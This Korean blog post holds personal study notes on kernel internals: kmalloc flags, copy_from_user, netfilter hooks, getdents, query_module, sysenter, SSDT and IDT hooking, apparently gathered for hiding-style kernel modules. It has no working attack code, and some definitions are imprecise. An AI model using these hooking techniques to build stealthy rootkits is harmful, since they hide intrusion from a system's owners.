copy_from_user(void * to, const void __user * from, unsigned long n)  :  사용자 메모리 블록 데이터를 커널 메모리 블록 데이터에  넣는다.

                                                                                             (from 사용자메모리, to 커널메모리)

 

nl->next = kmalloc(sizeof(struct nethide_list), GFP_KERNEL);

GFP_ATOMIC

메모리가 있으면 할당 없으면 NULL. 휴면 불가능

GFP_KERNEL

메모리 할당이 항상 성공하도록 요구, 메모리가 충분하지 않을 경우는 호출한 프로세스를 멈추고 동적 메모리 할당할 수 있는 상태가 될 때까지 대기. 휴면가능.

GFP_USER

유저 메모리를 할당함.  휴면 가능 

GFP_DMA

연속된 물리 메모리를 할당 받을 때 사용

 

 

즉, /dev/mem은 실제 물리 메모리, /dev/kmem은 커널 가상 메모리 공간에 접근할 수 있는 디바이스 파일입니다.

 

  • Hook, 우선순위1B Hook, 우선순위2C Hook, 우선순위 있을  nf_register_hook( D Hook, 우선순위2 ) 하면 아래처럼 
  • Hook, 우선순위1B Hook, 우선순위2 , D Hook, 우선순위,C Hook, 우선순위3

 

 

EXPORT_NO_SYMBOLS  :  전역 변수와 전역 함수를 커널 심볼 테이블에 등록해 놓음 ( 공개되지 않은 코드임 )

Dentry  ? : 해당 디렉토리가 포함하고 있는 디렉토리와 파일정보를 보유 하고 있음

 

 

Getdents()  Get directory entrys  : 디렉토리의 속성을 가져옴

query_module() : 함수를 이용해 커널 심볼 테이블과 커널에 적재된 다른 모듈의 심볼 테이블을 구한다이때 query_module() 함수에 QM_MODULES, QM_INFO, QM_SYMBOL 값을 지정하여 필요한 정보를 가져오는데, QM_MODULES는 커널에 포함된 모듈명을 얻어올 때 사용하며, QM_INFO는 각 모듈의 시작 주소와 크기를 얻기 위해 사용한다. 앞에서 구한 모듈 정보를 통해 QM_SYMBOL로 실질적인 커널 심볼 테이블과 커널에 적재된 다른 모듈의 심볼 테이블을 구한다

 

___this_module  : 현재 커널을 가리키고 있는 커널 내부 변수 

Ex)struct module *m = &__this_module;

 

Sysenter : sysenter가 호출되면 IA32_SYSENTER_EIP를 참고하여 KiFastCallEntry가 호출되는 것을 알 수 있었다.

커널 2.6 부터는 시스템 테이블을 그냥 오버라이딩   없기 때문에 나온 .

 

SSDT 후킹은 윈도우즈 API 가 커널 모드에서 서비스를 받기 위해 필요한 SSDT(System Service Descriptor Table) 의 내용을 조작하는 커널모드 후킹 방법 중에 하나 이다.

 

sysenter 명령은 유저모드에서 사용되는 명령어로, 현재 스레드가 유저모드에서 커널모드로 진입 시켜주는 역할을 한다. 인텔 메뉴얼에 보면 SYSENTER_EIP_MSR 가 가르키는 위치를 eip 레지스터에 넣어 실행 한다고 나와 있는데, 이 값은 MSRs(MODEL-SPECIFIC REGISTERS) 의 0x176 주소에서 가져온다. MSRs 는 rdmsr 명령으로 읽어올 수 있다.

 

IDT ( Interrupt Descriptor Table ) : 프로세서에서 인터럽트 혹은 exception  걸렸을 경우에 수행해야할 핸들러의 주소를 저장해 놓은것을 인터럽트 혹은 excetpion vector 라고 한다인텔 프로세서에서는 이러한 인터럽트 혹은 eception 핸들러들의 벡터와 벡터의 정보등을 저장해두는 구조체를 IDT 라고 부른다.

 

IDTR : 펜티엄에는 IDTR 이라 불리우는 특별한 레지스터가 존재한다 레지스터는 시스템의 IDT 존재하는 메모리 주소의베이스 어드레스와

IDT entry 의 개수가 저장되기로 약속된 레지스터 이다.

 

CPU 코어마다 IDTR 해당 IDTR 가리키는 IDT table   개수만큼 존재한다.

예를 들어 듀얼코어라면 IDTR 2개가 되고 IDT Table  두개가 된다그래서 보통 CPU 개수를 구해서 모든 IDT 조작하는 방식을 사용한다.

__asm sidt var : 해당 명령어를통해 var 변수에 IDT Entry[0] 번째 값이 들어간다.

__asm cli : 인텁트 발생 불가상태

__asm sti : 인터럽트 발생 가능 상태

 

rwlock_init : thread lock  읽고   있음

 

Kernel_thread  : 예전에 2.4.* 커널에서는 kernel_thread 함수을 직접 이용해서 thread 를 생성하고 스레드를 종료시킬때 complete을 이용해서 스레드 함수가 완전해 종료될때 까지 기다렸다가 모듈을 종료하였는데 2.6 의 현재 최신커널에서는 kthread을 사용하여 해서 위의 작업을 하는 함수가 만들어져 있다.

 

proc_dir_entry : 프로세스 디렉토리 속성값을 가지고 있는 커널 구조체

User_path_walk : it get the filename passed as argument and retrive the inode informations.. :)

lookup_dentry() : 파일 경로명을 가져온다그리고 엔트리 값을 반환한다.

GFP_KERNEL option으로 호출하면, kmalloc 당장은 메모리가 모잘라도 메모리가 생길 때까지 계속 try하는 반면에...

GFP_USER option으로 호출하면메모리 부족하면 대충 fail 끝나버리는 차이를 말하는 듯합니다.

inet_add_protocol() : 프로토콜 모듈 추가

 

nf_register_hook() 함수 : netfilter 후킹할때 사용하는데정확한 사전적 용어는 못찾음

 

init_mm은 mm_struct 라는 구조체로 이루어져 있는데 다음과 같다. 

mm_struct

위의 mm_struct 의 주석내용을 보면 다음과 같습니다. 

"owner"는 지금 mm struct의 user/owner인 정규(canonical) task를 가르켜야 한다.

init_task는 다음과 같다. 

 따라서 만약에 owner  바뀌기 위해서는 다음과 같은 과정이 행해져야 한다. 

현재 task  == mm->owner

현재 task의 mm != mm

새로운 task->mm = mm

새로운 task->alloc_lock 이 잠겨있어야 owner가 바뀔 수 있다.


'C,C++ > C' 카테고리의 다른 글

[ attribute 관련 속성 정리 ]  (0) 2014.07.02
LINUX dlopen 으로 dynamic 하게 library 호출  (0) 2014.04.24
Posted by k1rha